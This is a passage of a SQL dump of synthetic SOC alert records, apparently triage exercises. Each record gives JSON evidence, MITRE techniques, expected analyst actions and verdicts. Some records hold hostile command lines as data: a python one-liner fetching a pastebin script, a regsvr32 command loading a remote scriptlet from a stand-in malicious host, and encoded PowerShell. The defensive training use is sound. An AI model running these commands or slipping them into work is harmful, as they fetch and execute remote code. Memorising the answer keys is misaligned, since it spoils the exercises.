hollowing\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"block_hash\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command suggests process hollowing, a common technique for fileless malware.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(741, 'DGA Domain Detected in Network Traffic', 'medium', 'Firewall', 'Suspicious network traffic was detected involving a domain generated by a Domain Generation Algorithm (DGA), commonly used for C2 communication.', 'Command and Control', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T14:22:11Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"203.0.113.77\",\"username\":\"jane.doe\",\"hostname\":\"LAPTOP-JDOE\",\"domain\":\"gibberish12345.biz\"}', '2026-01-09 20:43:04', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple DGA domains\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"gibberish12345.biz\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Domain matches patterns used by DGA malware\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\",\"isolate_host\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"command_and_control\",\"analysis_notes\":\"The domain and associated IP are indicative of DGA-based C2 communication.\"}', 'Expert', 'NDR', 9, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(742, 'Failed Network Connection Attempt to Known Malicious IP', 'low', 'IDS', 'A network connection attempt was detected to an external IP previously reported for malicious activities. Further investigation revealed it was a benign service misconfiguration.', 'Network Anomaly', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T16:47:59Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"198.51.100.99\",\"username\":\"svc.account\",\"hostname\":\"SERV-01\"}', '2026-01-10 08:16:16', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the service account host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported for malicious activities but currently clean\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_anomaly\",\"analysis_notes\":\"The connection attempt to a previously malicious IP was due to a misconfigured service, resulting in a false positive.\"}', 'Expert', 'NDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.388Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T16:47:59Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.99\\\",\\\"username\\\":\\\"svc.account\\\",\\\"hostname\\\":\\\"SERV-01\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.388Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T16:47:59Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.99\\\",\\\"username\\\":\\\"svc.account\\\",\\\"hostname\\\":\\\"SERV-01\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.388Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T16:47:59Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.99\\\",\\\"username\\\":\\\"svc.account\\\",\\\"hostname\\\":\\\"SERV-01\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.388Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T16:47:59Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.99\\\",\\\"username\\\":\\\"svc.account\\\",\\\"hostname\\\":\\\"SERV-01\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.388Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T16:47:59Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.99\\\",\\\"username\\\":\\\"svc.account\\\",\\\"hostname\\\":\\\"SERV-01\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(743, 'Suspicious AWS Lambda Invocation Detected', 'critical', 'AWS GuardDuty', 'A Lambda function was invoked with a payload indicative of crypto mining. The function leveraged multiple legitimate services as C2 channels.', 'Malware', 'T1190', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T08:23:45Z\",\"event_type\":\"lambda_invocation\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"203.0.113.56\",\"username\":\"aws_lambda_user\",\"hostname\":\"lambda-instance-01\",\"command_line\":\"python3 -c \'import urllib; urllib.request.urlopen(\\\"https://pastebin.com/raw/abcd1234\\\")\'\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"}', '2026-01-11 09:40:26', '2026-02-16 18:02:41', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 237 times for suspicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known crypto mining malware\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"python3 -c \'import urllib; urllib.request.urlopen(\\\"https://pastebin.com/raw/abcd1234\\\")\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command uses pastebin to fetch remote scripts\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Lambda invocation detected with indicators pointing to crypto mining. IP and hash linked to malicious activity.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.389Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:23:45Z\\\",\\\"event_type\\\":\\\"lambda_invocation\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"203.0.113.56\\\",\\\"username\\\":\\\"aws_lambda_user\\\",\\\"hostname\\\":\\\"lambda-instance-01\\\",\\\"command_line\\\":\\\"python3 -c \'import urllib; urllib.request.urlopen(\\\\\\\"https://pastebin.com/raw/abcd1234\\\\\\\")\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.389Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:23:45Z\\\",\\\"event_type\\\":\\\"lambda_invocation\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"203.0.113.56\\\",\\\"username\\\":\\\"aws_lambda_user\\\",\\\"hostname\\\":\\\"lambda-instance-01\\\",\\\"command_line\\\":\\\"python3 -c \'import urllib; urllib.request.urlopen(\\\\\\\"https://pastebin.com/raw/abcd1234\\\\\\\")\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.389Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:23:45Z\\\",\\\"event_type\\\":\\\"lambda_invocation\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"203.0.113.56\\\",\\\"username\\\":\\\"aws_lambda_user\\\",\\\"hostname\\\":\\\"lambda-instance-01\\\",\\\"command_line\\\":\\\"python3 -c \'import urllib; urllib.request.urlopen(\\\\\\\"https://pastebin.com/raw/abcd1234\\\\\\\")\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.389Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:23:45Z\\\",\\\"event_type\\\":\\\"lambda_invocation\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"203.0.113.56\\\",\\\"username\\\":\\\"aws_lambda_user\\\",\\\"hostname\\\":\\\"lambda-instance-01\\\",\\\"command_line\\\":\\\"python3 -c \'import urllib; urllib.request.urlopen(\\\\\\\"https://pastebin.com/raw/abcd1234\\\\\\\")\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.389Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:23:45Z\\\",\\\"event_type\\\":\\\"lambda_invocation\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"203.0.113.56\\\",\\\"username\\\":\\\"aws_lambda_user\\\",\\\"hostname\\\":\\\"lambda-instance-01\\\",\\\"command_line\\\":\\\"python3 -c \'import urllib; urllib.request.urlopen(\\\\\\\"https://pastebin.com/raw/abcd1234\\\\\\\")\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(744, 'Azure AD Privilege Escalation Attempt', 'high', 'Microsoft Sentinel', 'Anomalous activity detected with Azure AD privileges being elevated using a compromised account. The activity was followed by suspicious PowerShell commands.', 'Lateral Movement', 'T1078', 1, 'investigating', 140, '{\"timestamp\":\"2026-01-11T02:15:30Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"10.0.0.5\",\"username\":\"compromised_user\",\"hostname\":\"win-server-2026\",\"command_line\":\"powershell.exe -Enc JABjAGgAbwBjAGsAZQBBAHIAZQBBAE4AYQBsAHkAcwBpAHMA\"}', '2026-01-10 15:01:29', '2026-02-24 04:20:45', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -Enc JABjAGgAbwBjAGsAZQBBAHIAZQBBAE4AYQBsAHkAcwBpAHMA\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of privilege escalation\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Privilege escalation detected with encoded PowerShell indicative of malicious intent.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.390Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"win-server-2026\\\",\\\"command_line\\\":\\\"powershell.exe -Enc JABjAGgAbwBjAGsAZQBBAHIAZQBBAE4AYQBsAHkAcwBpAHMA\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.390Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"win-server-2026\\\",\\\"command_line\\\":\\\"powershell.exe -Enc JABjAGgAbwBjAGsAZQBBAHIAZQBBAE4AYQBsAHkAcwBpAHMA\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.390Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"win-server-2026\\\",\\\"command_line\\\":\\\"powershell.exe -Enc JABjAGgAbwBjAGsAZQBBAHIAZQBBAE4AYQBsAHkAcwBpAHMA\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.390Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"win-server-2026\\\",\\\"command_line\\\":\\\"powershell.exe -Enc JABjAGgAbwBjAGsAZQBBAHIAZQBBAE4AYQBsAHkAcwBpAHMA\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.390Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"win-server-2026\\\",\\\"command_line\\\":\\\"powershell.exe -Enc JABjAGgAbwBjAGsAZQBBAHIAZQBBAE4AYQBsAHkAcwBpAHMA\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(745, 'Potential Data Exfiltration via Exposed S3 Bucket', 'high', 'AWS CloudTrail', 'Sensitive data was accessed from an exposed S3 bucket by a foreign IP, suggesting data exfiltration.', 'Data Exfil', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:40:12Z\",\"event_type\":\"data_access\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"192.0.2.44\",\"username\":\"s3_data_user\",\"hostname\":\"s3-bucket-123\",\"request_body\":\"GET /sensitive-data.csv HTTP/1.1\"}', '2026-01-10 08:53:05', '2026-03-14 14:54:05', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for unauthorized data access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"GET /sensitive-data.csv HTTP/1.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Access to sensitive data file without authorization\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"review_bucket_permissions\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"IP involved in accessing exposed S3 bucket with sensitive data, indicative of data exfiltration.\"}', 'Expert', 'CLOUD', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.391Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:40:12Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.0.2.44\\\",\\\"username\\\":\\\"s3_data_user\\\",\\\"hostname\\\":\\\"s3-bucket-123\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv HTTP/1.1\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.391Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:40:12Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.0.2.44\\\",\\\"username\\\":\\\"s3_data_user\\\",\\\"hostname\\\":\\\"s3-bucket-123\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv HTTP/1.1\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.391Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:40:12Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.0.2.44\\\",\\\"username\\\":\\\"s3_data_user\\\",\\\"hostname\\\":\\\"s3-bucket-123\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv HTTP/1.1\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.391Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:40:12Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.0.2.44\\\",\\\"username\\\":\\\"s3_data_user\\\",\\\"hostname\\\":\\\"s3-bucket-123\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv HTTP/1.1\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.391Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:40:12Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.0.2.44\\\",\\\"username\\\":\\\"s3_data_user\\\",\\\"hostname\\\":\\\"s3-bucket-123\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv HTTP/1.1\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(746, 'False Positive: Legitimate User Mistaken for Brute Force Attacker', 'medium', 'Splunk', 'Multiple login failures detected from an internal IP address. Investigation revealed a legitimate user mistyping their password.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T13:25:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.0.0.25\",\"dst_ip\":\"10.0.1.15\",\"username\":\"jane.doe\",\"hostname\":\"corp-laptop-01\",\"failed_attempts\":12}', '2026-01-09 22:57:28', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, no external threat detected\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jane.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Legitimate corporate user\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Login failures occurred due to user error; no malicious activity detected.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.392Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:25:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"10.0.1.15\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"corp-laptop-01\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-02-01T20:31:22.392Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:25:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"10.0.1.15\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"corp-laptop-01\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-02-01T20:30:22.392Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:25:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"10.0.1.15\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"corp-laptop-01\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-02-01T20:29:22.392Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:25:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"10.0.1.15\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"corp-laptop-01\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-02-01T20:28:22.392Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:25:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"10.0.1.15\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"corp-laptop-01\\\",\\\"failed_attempts\\\":12}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(747, 'Lateral Movement Detected Using LOLBins within Azure Environment', 'critical', 'Azure Sentinel', 'Suspicious regsvr32.exe execution detected on multiple internal hosts indicating potential lateral movement using LOLBins within Azure VMs.', 'Lateral Movement', 'T1218', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T08:45:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.8\",\"username\":\"jdoe\",\"hostname\":\"AzureVM01\",\"command_line\":\"regsvr32.exe /s /n /u /i:https://malicious-site.com/shell.sct scrobj.dll\"}', '2026-01-09 22:34:33', '2026-02-16 18:05:40', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.8\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of target 